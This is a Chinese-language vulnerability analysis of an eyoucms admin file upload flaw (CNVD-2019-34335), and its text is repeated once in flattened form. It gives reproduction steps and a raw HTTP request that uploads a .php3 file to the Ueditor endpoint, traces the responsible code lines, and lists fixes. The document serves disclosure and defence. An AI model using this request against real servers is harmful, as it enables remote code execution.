eyoucms后台文件上传漏洞(CNVD-2019-34335)
字数 746 2025-08-26 22:11:34

eyoucms后台文件上传漏洞(CNVD-2019-34335) 分析报告

漏洞概述

eyoucms内容管理系统存在后台文件上传漏洞,攻击者可通过精心构造的请求绕过文件类型限制,上传恶意文件(如PHP脚本)到服务器,可能导致远程代码执行。

漏洞编号

  • CNVD-2019-34335

受影响版本

  • 漏洞发现时的eyoucms版本(具体版本号未明确说明)

漏洞复现环境搭建

  1. 本地搭建eyoucms环境
  2. 将域名设置为eyoucms.cn(测试环境)

漏洞利用步骤

1. 后台配置修改

  1. 登录eyoucms后台
  2. 进入"附件设置"
  3. 添加php3到允许上传的文件后缀列表中

2. 构造恶意请求

使用BurpSuite发送以下HTTP请求:

GET /login.php?m=admin&c=Ueditor&a=downFileUpMd5&lang=cn&XDEBUG_SESSION_START=PHPSTORM&name=文件名.php3&type=application/x-zip-compressed&size=1 HTTP/1.1
Host: 域名
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=id值 ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=web%7CSystem
Connection: close
Content-Length: 18

3. 漏洞原理分析

  1. 系统在Ueditor控制器的downFileUpMd5方法中处理文件上传
  2. 第1045行代码获取允许上传的文件后缀类型,此时php3已被添加到白名单
  3. 第1116行打开一个{$filePath}.part的临时文件
  4. 第1152行读取攻击者输入的内容(如phpinfo())
  5. 第1164行将内容写入临时文件
  6. 传输完成后进行重命名操作,去掉.part后缀
  7. 最终导致恶意PHP文件被上传到服务器

4. 验证漏洞利用

在浏览器中访问上传的PHP文件,确认代码执行成功

修复建议

  1. 严格限制后台可配置的文件上传类型,禁止添加可执行脚本后缀
  2. 对上传文件进行双重验证,不仅检查扩展名,还应检查文件内容
  3. 限制上传文件的存储目录,禁止直接执行
  4. 更新到最新版本的eyoucms

补充说明

  • 该漏洞需要后台管理员权限才能利用
  • 官方下载地址:https://www.eyoucms.com/
  • 该漏洞被认为是"鸡肋"漏洞,因为需要管理员权限才能利用
eyoucms后台文件上传漏洞(CNVD-2019-34335) 分析报告 漏洞概述 eyoucms内容管理系统存在后台文件上传漏洞,攻击者可通过精心构造的请求绕过文件类型限制,上传恶意文件(如PHP脚本)到服务器,可能导致远程代码执行。 漏洞编号 CNVD-2019-34335 受影响版本 漏洞发现时的eyoucms版本(具体版本号未明确说明) 漏洞复现环境搭建 本地搭建eyoucms环境 将域名设置为 eyoucms.cn (测试环境) 漏洞利用步骤 1. 后台配置修改 登录eyoucms后台 进入"附件设置" 添加 php3 到允许上传的文件后缀列表中 2. 构造恶意请求 使用BurpSuite发送以下HTTP请求: 3. 漏洞原理分析 系统在 Ueditor 控制器的 downFileUpMd5 方法中处理文件上传 第1045行代码获取允许上传的文件后缀类型,此时 php3 已被添加到白名单 第1116行打开一个 {$filePath}.part 的临时文件 第1152行读取攻击者输入的内容(如 phpinfo() ) 第1164行将内容写入临时文件 传输完成后进行重命名操作,去掉 .part 后缀 最终导致恶意PHP文件被上传到服务器 4. 验证漏洞利用 在浏览器中访问上传的PHP文件,确认代码执行成功 修复建议 严格限制后台可配置的文件上传类型,禁止添加可执行脚本后缀 对上传文件进行双重验证,不仅检查扩展名,还应检查文件内容 限制上传文件的存储目录,禁止直接执行 更新到最新版本的eyoucms 补充说明 该漏洞需要后台管理员权限才能利用 官方下载地址:https://www.eyoucms.com/ 该漏洞被认为是"鸡肋"漏洞,因为需要管理员权限才能利用